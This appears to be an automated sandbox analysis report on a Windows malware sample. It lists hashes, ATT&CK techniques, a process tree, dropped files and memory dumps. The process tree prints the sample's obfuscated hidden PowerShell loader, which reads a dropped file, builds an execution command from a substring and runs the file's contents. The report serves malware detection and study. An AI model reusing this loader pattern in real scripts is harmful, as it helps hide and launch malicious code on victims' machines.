f15598708dc31075551274589e74d332be05fdd17c30c61605758aba3a6c7848

Analysis

max time kernel
93s
max time network
97s
platform
windows10-2004_x64
resource
win10v2004-20240704-en
resource tags

arch:x64arch:x86image:win10v2004-20240704-enlocale:en-usos:windows10-2004-x64system
submitted
09/07/2024, 10:05

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General

Target

MalwareBazaar.exe
Size

432KB
MD5

a35683ad12f004d512b53db7e56c0f1e
SHA1

b374ded49f0cbb44d62eacc4559a0599fc8e7693
SHA256

f15598708dc31075551274589e74d332be05fdd17c30c61605758aba3a6c7848
SHA512

4dcf4304c9e78dbc8d10b651b7b2d05f57afb6a48cb4171e424aad4ec85b088d038a5a74c657d9160e75c9c4ec96cca820c859affde6fadef463e87fb5d2c576
SSDEEP

12288:bgoBof8NmB40NiOzwwbbihF1EbdLPrsHTbqDDR6:Cf8NmuizL8uouHc

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4476	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
1516	4476	WerFault.exe	83

Suspicious behavior: EnumeratesProcesses 9 IoCs

pid	Process
4476	powershell.exe
4476	powershell.exe
4476	powershell.exe
4476	powershell.exe
4476	powershell.exe
4476	powershell.exe
4476	powershell.exe
4476	powershell.exe
4476	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4476	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 3216 wrote to memory of 4476	3216	MalwareBazaar.exe	83
PID 3216 wrote to memory of 4476	3216	MalwareBazaar.exe	83
PID 3216 wrote to memory of 4476	3216	MalwareBazaar.exe	83

C:\Users\Admin\AppData\Local\Temp\MalwareBazaar.exe
"C:\Users\Admin\AppData\Local\Temp\MalwareBazaar.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:3216
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -windowstyle hidden " $Debutromanen151=cat 'C:\Users\Admin\AppData\Local\problemlst\capsulogenous\Dicyema.Bra';$Postekspeditioner=$Debutromanen151.substring(50811,3);.$Postekspeditioner($Debutromanen151)"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4476
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 4476 -s 2296
    3⤵
    - Program crash
    PID:1516

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 424 -p 4476 -ip 4476
1⤵
PID:5048

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_xdxbwmx0.xep.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\problemlst\capsulogenous\Dicyema.Bra

Filesize
77KB

MD5
f3046f76eef0b6e7bfa0b2ea4f96dbc4

SHA1
c88ba1baf506c20a95f39bdea30b7e9886c84f89

SHA256
92be7fec38ebcbd57e75b7ae02e7e8b3d73ccfd0cc3eaea3e1ea72ab60c946e6

SHA512
84cce01131e12290db43337b9fc34e3835974014632cbfc39dba4ba1186ca66211d8ddc0e985c0431b4ed0e510b4b7aff6cb19aa5b78373408e7ca4e406b2b74

Download Submit
memory/4476-14-0x00000000058C0000-0x00000000058E2000-memory.dmp

Filesize
136KB

Download
memory/4476-28-0x0000000006970000-0x00000000069BC000-memory.dmp

Filesize
304KB

Download
memory/4476-9-0x0000000073FCE000-0x0000000073FCF000-memory.dmp

Filesize
4KB

Download
memory/4476-13-0x0000000073FC0000-0x0000000074770000-memory.dmp

Filesize
7.7MB

Download
memory/4476-16-0x0000000006100000-0x0000000006166000-memory.dmp

Filesize
408KB

Download
memory/4476-15-0x0000000006090000-0x00000000060F6000-memory.dmp

Filesize
408KB

Download
memory/4476-11-0x0000000073FC0000-0x0000000074770000-memory.dmp

Filesize
7.7MB

Download
memory/4476-26-0x0000000006170000-0x00000000064C4000-memory.dmp

Filesize
3.3MB

Download
memory/4476-27-0x0000000006790000-0x00000000067AE000-memory.dmp

Filesize
120KB

Download
memory/4476-12-0x00000000058F0000-0x0000000005F18000-memory.dmp

Filesize
6.2MB

Download
memory/4476-29-0x0000000006D00000-0x0000000006D96000-memory.dmp

Filesize
600KB

Download
memory/4476-30-0x0000000006CB0000-0x0000000006CCA000-memory.dmp

Filesize
104KB

Download
memory/4476-31-0x0000000007770000-0x0000000007792000-memory.dmp

Filesize
136KB

Download
memory/4476-32-0x0000000007D50000-0x00000000082F4000-memory.dmp

Filesize
5.6MB

Download
memory/4476-10-0x00000000051C0000-0x00000000051F6000-memory.dmp

Filesize
216KB

Download
memory/4476-34-0x0000000008980000-0x0000000008FFA000-memory.dmp

Filesize
6.5MB

Download
memory/4476-36-0x0000000073FC0000-0x0000000074770000-memory.dmp

Filesize
7.7MB

Download